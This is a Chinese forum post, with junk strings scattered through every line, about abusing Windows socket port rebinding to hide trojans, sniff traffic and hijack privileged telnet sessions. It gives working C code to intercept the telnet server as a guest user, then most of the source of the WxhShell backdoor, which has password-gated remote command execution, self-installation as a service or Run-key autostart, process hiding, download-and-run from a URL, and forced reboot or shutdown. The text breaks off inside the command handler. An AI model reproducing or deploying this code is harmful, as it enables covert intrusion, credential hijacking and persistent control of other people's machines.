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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }/-TT0*6j<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4d @ (>  
p( [FZ  
  saddr.sin_family = AF_INET; LsV?b*^(p  
A|0\ct  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b0Fr]oGp  
X;p4/ *U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :P\RiaZAT  
BxXP]od  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _s NJU  
kD4J{\  
  这意味着什么?意味着可以进行如下的攻击: rWzO> v  
X7fJ+C n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2Rs-!G< ]  
[- x]%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R)5zHCwOw  
pS<j>y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9y&&6r<I  
Eh?,-!SUQn  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <<ifd?  
zE4TdT1y|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,~xX[uB  
5Og=`T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A^hFRAg4  
hQDZ%>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 rXg#_c5j  
b+ v!3|  
  #include NYN(2J  
  #include K.2l)aRd  
  #include # Q_ d  
  #include    x4bj?=+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7<3eB)S  
  int main() UZRCJ  
  { C{Er%  
  WORD wVersionRequested; O'<cEv'B*  
  DWORD ret; g_t1(g*s  
  WSADATA wsaData; SAw. 6<Wy-  
  BOOL val; ;b1*2-  
  SOCKADDR_IN saddr; d<^o@  
  SOCKADDR_IN scaddr; qx3`5)ef  
  int err; OBmmOswg~  
  SOCKET s; +zLh<q0  
  SOCKET sc; h4dT N}  
  int caddsize; k'$UA$2d  
  HANDLE mt; `}9jvR5  
  DWORD tid;   h\qM5Qx+Q  
  wVersionRequested = MAKEWORD( 2, 2 ); SPK% ' s  
  err = WSAStartup( wVersionRequested, &wsaData ); W"L;8u  
  if ( err != 0 ) { ,~,{$\p   
  printf("error!WSAStartup failed!\n"); (#;<iu}  
  return -1; a8!/V@a  
  } N=P+b%%:Z  
  saddr.sin_family = AF_INET; F`\7&'I  
   ZI'Mr:z4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A#B6]j)  
34\:1z+s M  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u|a+ :r)*4  
  saddr.sin_port = htons(23); {Deg1V!x>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kdHP v=/U  
  { $f^ \fa[  
  printf("error!socket failed!\n"); 6S2v3  
  return -1; v"dj%75O?e  
  } ;\Vi~2!8  
  val = TRUE; /_ MEb42&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 nXuoRZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;/phZ$l  
  { H6PS7g"  
  printf("error!setsockopt failed!\n"); BVpRkUC"  
  return -1; L=wg"$  
  } hhVyz{u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m;"i4!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =9ISsI\Y6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D.\s mk  
K6Gri>Um  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fhZD#D  
  { ;0f?-W?1  
  ret=GetLastError(); 'YcoF;&[C  
  printf("error!bind failed!\n"); On{p(| l  
  return -1; (X"WEp^Q{I  
  } Gf{FFIe(  
  listen(s,2); g^EkRBU  
  while(1) ^K K6 d  
  { a:(.{z?nM  
  caddsize = sizeof(scaddr); H,!3s<1  
  //接受连接请求 ?!J{Mrdn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m pWmExQ  
  if(sc!=INVALID_SOCKET) K8UgP?c;0  
  { elBmF#,j 7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _g(4-\  
  if(mt==NULL) &_EjP hZ  
  { ,^UNQO*{GI  
  printf("Thread Creat Failed!\n"); mzl %h[9iI  
  break; SH/KC  
  } 8[|RsM   
  } 62X;gb  
  CloseHandle(mt); ag$mc8-p[  
  } 6(`Bl$M9  
  closesocket(s); hK t c  
  WSACleanup(); ~#b&UR  
  return 0; .WR+)^&zz  
  }   5)MVkJ=R  
  DWORD WINAPI ClientThread(LPVOID lpParam) *y;(c)_w/%  
  { 2vit{  
  SOCKET ss = (SOCKET)lpParam; PfI~`ke  
  SOCKET sc; buRK\C  
  unsigned char buf[4096]; |\OG9{q  
  SOCKADDR_IN saddr; Zw[A1!T,  
  long num; ;{e;6Hq  
  DWORD val; 9(>l trA  
  DWORD ret; S"Dw8_y7}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CR-6}T   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QJaF6>m  
  saddr.sin_family = AF_INET; V+mTo^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JZ5N Q)sX  
  saddr.sin_port = htons(23); "@JSF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X~O2!F  
  { xsq+RBJi  
  printf("error!socket failed!\n"); F~cvob{  
  return -1; SV4a_m?  
  } 2<*DL 6  
  val = 100; =jX'FNv#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;c'9Xyl-  
  { 4$+9Wv  
  ret = GetLastError(); FBYA d@="2  
  return -1; 75t\= 6#  
  } M8 E8r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?2b*F Qe  
  { HY,+;tf2r  
  ret = GetLastError(); Z2]ySyt]  
  return -1; `2X#;{a:  
  }  lqO"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]Hp o[IF  
  { HrUQ X4  
  printf("error!socket connect failed!\n"); D|u! KH  
  closesocket(sc); 0{/P1  
  closesocket(ss); |(E.Sb  
  return -1; pr2b<(Pm  
  }  p=Nord  
  while(1) ubn`w=w$  
  { >4A~?=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L,&R0gxi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H*DWDJxmV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :RsO $@0G  
  num = recv(ss,buf,4096,0); l@8UL</W  
  if(num>0) F j_r n  
  send(sc,buf,num,0); H1(Zz n1  
  else if(num==0) XCNfogl  
  break; A Z7  
  num = recv(sc,buf,4096,0); Nj2f?',;U  
  if(num>0) o5(p&:1M  
  send(ss,buf,num,0); Dl kHE8r\  
  else if(num==0) (GVH#}uB  
  break; =|lKB;  
  } NzmVQ-4  
  closesocket(ss); km; M!}D  
  closesocket(sc); ?NZKu6  
  return 0 ; P&@:''  
  } Hnv{sND[  
'sCj\N  
>g%^hjJ  
========================================================== N`tBDl"ld  
c$)Y$@D  
下边附上一个代码,,WXhSHELL nDh]: t=  
D:9/;9V  
========================================================== bqwQi>^Cw  
SCClD6k=V  
#include "stdafx.h" [b: $sR;  
~RV>V*l  
#include <stdio.h> } PD]e*z{Z  
#include <string.h> "p43#  
#include <windows.h> IR(6  
#include <winsock2.h> o0Z(BTO  
#include <winsvc.h> +?[ ,y  
#include <urlmon.h> 78v4c Q Y  
LFsrqdzJ  
#pragma comment (lib, "Ws2_32.lib") U!E   
#pragma comment (lib, "urlmon.lib") (vCMff/ Y1  
B/S~Jn  
#define MAX_USER   100 // 最大客户端连接数 -9XB.)\#  
#define BUF_SOCK   200 // sock buffer VtX9}<Ch~  
#define KEY_BUFF   255 // 输入 buffer #On EQ:  
lP>}9^7I!  
#define REBOOT     0   // 重启 Vy-EY*r|  
#define SHUTDOWN   1   // 关机 C3n_'O  
r)P^CZm  
#define DEF_PORT   5000 // 监听端口 ;}!hgyq  
g">E it*[  
#define REG_LEN     16   // 注册表键长度 =Rl?. +uE  
#define SVC_LEN     80   // NT服务名长度 ), >jBYMJ  
M+<xX)   
// 从dll定义API d, fX3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <$#b3F"I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?)$+W+vK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lsV9-)yyl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lW^bn(_gQ  
{*VCR  
// wxhshell配置信息 )J?Nfi%  
struct WSCFG { b[Z5:[@\#  
  int ws_port;         // 监听端口 &uwj&-u?  
  char ws_passstr[REG_LEN]; // 口令 ~f&lQN'1  
  int ws_autoins;       // 安装标记, 1=yes 0=no OI3UC=G  
  char ws_regname[REG_LEN]; // 注册表键名 L&wJ-}'l  
  char ws_svcname[REG_LEN]; // 服务名 gA)!1V+:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _jV(Gv'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G.2ij%Zz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <}~`YU>=v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !`8WNY?K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #}50oWE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K1rF;7Y6  
;=IC.<Q<}  
}; $d1+d;Mn  
jd9GueV*(  
// default Wxhshell configuration -LF0%G  
struct WSCFG wscfg={DEF_PORT, +u1meh3u  
    "xuhuanlingzhe", h_K(8{1  
    1, 49%qBO$R  
    "Wxhshell", @SREyqC4  
    "Wxhshell", VvuwgJX  
            "WxhShell Service", +.N3kH  
    "Wrsky Windows CmdShell Service", 0MK|spc  
    "Please Input Your Password: ", G1 ?."  
  1, rixP[`!]x  
  "http://www.wrsky.com/wxhshell.exe", h+e Oe}  
  "Wxhshell.exe" si.A"\bm  
    }; i)nb^  
3,~M`~B  
// 消息定义模块 Si,[7um  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N zY}-:{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I^iJ^Z]vx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F+A"-k_\T#  
char *msg_ws_ext="\n\rExit."; BU[ .P]  
char *msg_ws_end="\n\rQuit."; BJI}gm2y  
char *msg_ws_boot="\n\rReboot..."; w%=GdA=  
char *msg_ws_poff="\n\rShutdown..."; TrxZS_  
char *msg_ws_down="\n\rSave to "; *')g}2iB  
c\i`=>%b@  
char *msg_ws_err="\n\rErr!"; #J. v[bOWQ  
char *msg_ws_ok="\n\rOK!"; h^F^|WT$  
M_tY:v  
char ExeFile[MAX_PATH]; Ri]7=.QI`  
int nUser = 0; )clSW  
HANDLE handles[MAX_USER]; ;[%_sVIy  
int OsIsNt; RZm}%6##ZC  
'=!@s1;{[;  
SERVICE_STATUS       serviceStatus; (0s7<&Iu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LG6VeYe|\X  
6QsH?!bu  
// 函数声明 3L$_OXx  
int Install(void); -%]O-'  
int Uninstall(void); IYm~pXg^0  
int DownloadFile(char *sURL, SOCKET wsh); %{\|/#>:  
int Boot(int flag); k0IW,z%  
void HideProc(void); 1:<=zqh0  
int GetOsVer(void); 4`F(RweGx  
int Wxhshell(SOCKET wsl); >$=-0?.  
void TalkWithClient(void *cs); ]3tg|? %B  
int CmdShell(SOCKET sock); 8H4"mxO  
int StartFromService(void); Jx ;" @  
int StartWxhshell(LPSTR lpCmdLine); o:kiIZ]  
~F8M_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `IQ01FuP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c$),/0td|  
{6%vmMbJ  
// 数据结构和表定义 Fj\}&H*+  
SERVICE_TABLE_ENTRY DispatchTable[] = %,$Ms?,n`  
{ 7a_pO1MBL  
{wscfg.ws_svcname, NTServiceMain}, |;2Y|>=  
{NULL, NULL} $mvcqn;  
}; ]]lgCac_U9  
(4_7ICFI  
// 自我安装 @xKLRw  
int Install(void) !'>(r K$  
{ 4`lt 4L  
  char svExeFile[MAX_PATH]; V{17iRflf  
  HKEY key; 8<(qN> R  
  strcpy(svExeFile,ExeFile); 1PWs">*(  
Bw-<xwD  
// 如果是win9x系统,修改注册表设为自启动 T'9I&h%\  
if(!OsIsNt) { yX%T-/XJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .<zW(PW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KK; 3<kX  
  RegCloseKey(key); y6.}h9~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K;jV"R<9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WF0%zxg]  
  RegCloseKey(key); CZB!vh0  
  return 0; Qs2 E>C  
    } yidUtSv=,  
  } 9"Vch;U$  
} nU]n]gd  
else { B6)d2O9C  
D Q7+  
// 如果是NT以上系统,安装为系统服务 USz |Rh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;xFx%^M}br  
if (schSCManager!=0) {~.~ b+v  
{ "&jA CI  
  SC_HANDLE schService = CreateService )%rGD =2~  
  ( X|+o4R?  
  schSCManager, z @\C/wX  
  wscfg.ws_svcname, &$yC +cf  
  wscfg.ws_svcdisp, n4Fh*d ixg  
  SERVICE_ALL_ACCESS, 8A/;a{   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wyu$J  
  SERVICE_AUTO_START, R?"sM<3`e  
  SERVICE_ERROR_NORMAL, P7GuFn/p~2  
  svExeFile, zbHNj(~  
  NULL, ;J|sH>i  
  NULL, JmDi{B?  
  NULL, j^ L"l;m  
  NULL, MhMY"bx8  
  NULL )cA#2mlS'1  
  ); dQ6:c7hp>D  
  if (schService!=0) |J: n'}  
  { z-<091,  
  CloseServiceHandle(schService); f,:SI&c\  
  CloseServiceHandle(schSCManager); D<}z7W-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >hqev-   
  strcat(svExeFile,wscfg.ws_svcname); noY~fq/U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m~;fklX S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tL0<xGI5^  
  RegCloseKey(key); qfp,5@p  
  return 0; b&:>v9U  
    } %lVc7L2]  
  } lej-,HX  
  CloseServiceHandle(schSCManager); ~`'!nzP5H  
} `.3!  
} kO:|?}Koc  
aRSGI ja<L  
return 1; Yud]s~N  
} , 'WhF-  
R=uzm=&nR  
// 自我卸载 $4K( AEt[  
int Uninstall(void) ~WH4D+  
{ C9^[A4O@X!  
  HKEY key; -# 0(Jm'  
@c&}\#;  
if(!OsIsNt) { E6"+\-e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h LYy  
  RegDeleteValue(key,wscfg.ws_regname); i}cqV B?r  
  RegCloseKey(key); ]dzBm!u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #CKPNk c  
  RegDeleteValue(key,wscfg.ws_regname); qYD$_a  
  RegCloseKey(key); }Rujh4*  
  return 0; ~{GbuoH  
  } r!H'8O!  
} u{#}Lo>B #  
} e>yPFXSk  
else { yo\R[i(  
7!%/vO0m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3m RP.<=  
if (schSCManager!=0) Dep.Qfv{-  
{ 7.7aHt0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~>C@n'\lv  
  if (schService!=0) VyQ@. Lm  
  { H CKD0xx  
  if(DeleteService(schService)!=0) { gDHgXD D_b  
  CloseServiceHandle(schService); ? yL3XB>  
  CloseServiceHandle(schSCManager); uSnG=tB  
  return 0; 0 p  6  
  } t%@sz  
  CloseServiceHandle(schService); 5`su^  
  } ,;3#}OGg  
  CloseServiceHandle(schSCManager); }yQ&[Mt  
} ~s.~X5  
} Yj%hgb:)  
DK' ? '  
return 1; XY1D<  
} |wF_CZ*1  
q-7C7q  
// 从指定url下载文件 ZAe'lgS  
int DownloadFile(char *sURL, SOCKET wsh) X.~z:W+  
{ ze* =7  
  HRESULT hr; =Uy;8et  
char seps[]= "/"; tC;L A 4  
char *token; O~3<P3W  
char *file; <sU?q<MC  
char myURL[MAX_PATH]; WiDl[l"{9  
char myFILE[MAX_PATH]; ckn0I  
m\9R;$ \  
strcpy(myURL,sURL); E P1f6ps  
  token=strtok(myURL,seps); <( "M;C3y  
  while(token!=NULL) ?'RB)M=Og7  
  { E?\&OeAkO  
    file=token; n7Em t$Hi>  
  token=strtok(NULL,seps); GnAG'.t-Z  
  } rGa@!^hk  
I,[njlO:  
GetCurrentDirectory(MAX_PATH,myFILE); Jo%`N#jG   
strcat(myFILE, "\\"); g.L~Z1-  
strcat(myFILE, file); ^\<nOzU?  
  send(wsh,myFILE,strlen(myFILE),0); @zu IR0Gr)  
send(wsh,"...",3,0); TcW-pY<N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 91I6-7# Xt  
  if(hr==S_OK) Vq8G( <77  
return 0; U.XvS''E  
else G =`-w  
return 1; k2bjBAT  
O|Sbe%[*wW  
} r"E%U:y3P  
ALcin))+B  
// 系统电源模块 +0,'B5 (E  
int Boot(int flag) .AB n$ml]  
{ IP?15l w  
  HANDLE hToken; \[\4= !v  
  TOKEN_PRIVILEGES tkp; *}F>c3x]  
x*`S>_j27=  
  if(OsIsNt) { }~I(e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |uUGvIsXn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #%Hk-a=>)#  
    tkp.PrivilegeCount = 1; =g.R?H8cj5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'SW%EVB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bf5Z  
if(flag==REBOOT) { QR+xPY~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0B}O&DC%|  
  return 0; e>$d*~mwn  
} Y"{L&H `  
else { Bb[WtT}=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @euH[<  
  return 0; %fbV\@jDCX  
} <K g=?wb  
  } <v=$A]K  
  else { G3.*fSY$.<  
if(flag==REBOOT) { i2+r#Hw#5R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;C ^!T  
  return 0; ?g{--'L  
} ?xa70Pb{;  
else { eeVDU$*e=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /"+CH\) E  
  return 0; 8ln{!,j;  
} UC e{V]T  
} 0Cg}yyOz  
enC/@){~  
return 1; &9+]{jXF  
} Z Zs@P#]  
us5<18 M5  
// win9x进程隐藏模块 Fe[)-_%G  
void HideProc(void) 2Kkm-#p7  
{ !Y8+ Z&^2  
GyC/39<P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F_U9;*f]  
  if ( hKernel != NULL ) IZ/PZ"n_(  
  { FmtgH1u:=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I`~Giz7@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]Cc3}+(s  
    FreeLibrary(hKernel); ]8n*fo2#  
  } .B+Bl/  
(jyT9'*wAT  
return; %nS(>X<B  
} eS`ZC!W   
R7o'V* d  
// 获取操作系统版本 /3`yaYkSh  
int GetOsVer(void) +Rj8 "p$K  
{ vh$If0  
  OSVERSIONINFO winfo; sH'IA~7   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =ea'G>;[H  
  GetVersionEx(&winfo); q"48U.}T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l`bl^~xRo  
  return 1; %jE0Z4\  
  else !+k);;.+  
  return 0; /Hs\`Kg"!  
} }>5R9  
HUFm@?  
// 客户端句柄模块 =Lh8#>T\h  
int Wxhshell(SOCKET wsl) {e+}jZ[L  
{ @*16agGg  
  SOCKET wsh; 9bQD"%ha=d  
  struct sockaddr_in client; {X\%7Zef+  
  DWORD myID; Y|l&mK?  
;b5^) S  
  while(nUser<MAX_USER) M=M~M$K  
{ s||c#+j"8  
  int nSize=sizeof(client); >"q?P^f/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'uW&AD p  
  if(wsh==INVALID_SOCKET) return 1; Z=m5V(9  
S`Xx('!/|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }Ug O$1  
if(handles[nUser]==0) A-eRL`  
  closesocket(wsh); !X5LgMw^;  
else aBd>.]l?  
  nUser++; u}">b+{!  
  } H %Dcp#k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [$DI!%e|  
zNO,vR[\  
  return 0; ZBk br  
} aI\:7  
{UFs1  
// 关闭 socket dw-o71(1d  
void CloseIt(SOCKET wsh)  nb\pBl  
{ H -K%F_#  
closesocket(wsh); [ KDNKK  
nUser--; Z?<&@YQS  
ExitThread(0); uhm3}mWv  
} h:AB`E1  
YfstE3BV  
// 客户端请求句柄 a)8;P7  
void TalkWithClient(void *cs) ei82pLM z  
{ ]&?8l:3-G  
I&%KOe0  
  SOCKET wsh=(SOCKET)cs; g5;Ig  
  char pwd[SVC_LEN]; kxLWk%V  
  char cmd[KEY_BUFF]; `qV*R 2  
char chr[1]; FN<S agj  
int i,j; l`A e&nc6  
l[6lXR&|  
  while (nUser < MAX_USER) { 0m,q3  
`< 82"cAT{  
if(wscfg.ws_passstr) { hK UK#xx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0iV~MQZ(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ov#G7a"  
  //ZeroMemory(pwd,KEY_BUFF); d}2(G2z^  
      i=0; 7lx]`u>  
  while(i<SVC_LEN) { rhDiIO_  
3Ct:AJeg  
  // 设置超时 6 u1|pX8  
  fd_set FdRead; 4iv&!hAc;  
  struct timeval TimeOut; zGwM# -  
  FD_ZERO(&FdRead); #l 6QE=:  
  FD_SET(wsh,&FdRead); [ <j4w  
  TimeOut.tv_sec=8; wzF%R {;  
  TimeOut.tv_usec=0; P& h]uNu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q0%s|8Jc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HPX JRQBE  
I uC7Hx`z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cR=o!2O  
  pwd=chr[0]; tZY6{,K%4  
  if(chr[0]==0xd || chr[0]==0xa) { ;YZ'd"0v  
  pwd=0; C^fn[plL  
  break; d[YG&.}+8j  
  } P @~)9W  
  i++; $>zqCi2tB<  
    } AqT}^fS  
 Khh}flRy  
  // 如果是非法用户,关闭 socket KJv[z   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F+]cFx,/  
} Ri>ZupQ6  
Dqc2;>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0_N.s5~N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /bF>cpM  
f#\Nz>tOhE  
while(1) { A*{CT>  
+`ug?`_  
  ZeroMemory(cmd,KEY_BUFF); aP]h03sS  
9TZ6c  
      // 自动支持客户端 telnet标准   :_h#A }8Xd  
  j=0; Ek60[a  
  while(j<KEY_BUFF) { q<K/q"0-l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NFPWh3),f  
  cmd[j]=chr[0]; lMgPwvs'  
  if(chr[0]==0xa || chr[0]==0xd) { v\+`n^=  
  cmd[j]=0; "TVmxE%(  
  break; ~ \b~  
  } #S(b2LEc  
  j++; 7u:QT2=&  
    } ?z0W1a  
RWFvf   
  // 下载文件 |'j,|^<  
  if(strstr(cmd,"http://")) { }nptmc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QabLMq@n`  
  if(DownloadFile(cmd,wsh)) wlEK"kKU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >[ g=G  
  else Os*s{2OvO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |-HNHUF  
  } z 'V$)U$f  
  else { F<^f6z8  
pwRCfR)"X  
    switch(cmd[0]) {  7gx?LI_e  
  o?^Rw*u0/  
  // 帮助 k~?5mUyK<  
  case '?': { nG-DtG^z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Lf`<4 P  
    break; v SY YetL  
  } 1--Ka& H  
  // 安装 _}cD_$D  
  case 'i': { gfKv$~  
    if(Install()) NieNfurG%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i7e_~K  
    else ltKMvGEF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EeGTBVms  
    break; i v.G  
    } :x3xeVt Y  
  // 卸载 i0Rj;E=:]  
  case 'r': { $&&+2?cx0  
    if(Uninstall()) ZSr!L@S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?g:sAR'  
    else W\<HUd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bq9/ d4  
    break; )iJv?Y\]  
    } xz~Y %Y|Z  
  // 显示 wxhshell 所在路径 <`?%Cz AO  
  case 'p': { z0%tBgqY(  
    char svExeFile[MAX_PATH]; hVl@7B~  
    strcpy(svExeFile,"\n\r"); vpC?JXz=H  
      strcat(svExeFile,ExeFile); /t*Q"0X5  
        send(wsh,svExeFile,strlen(svExeFile),0); ZZ T 9t#~  
    break; ]0g p.R  
    } =G !]_d0  
  // 重启 ^9><qKbO  
  case 'b': { |7Qe{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 13 %: 3W(  
    if(Boot(REBOOT)) !L<z(dV|(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xpt9$=d  
    else { Xc4zUEO9  
    closesocket(wsh); <+<Nsza  
    ExitThread(0); IZGRQmi"  
    } //RD$e?h~  
    break; t*)!BZ  
    } y.-Kqa~  
  // 关机 s5V|.R  
  case 'd': { D/=k9[b!  
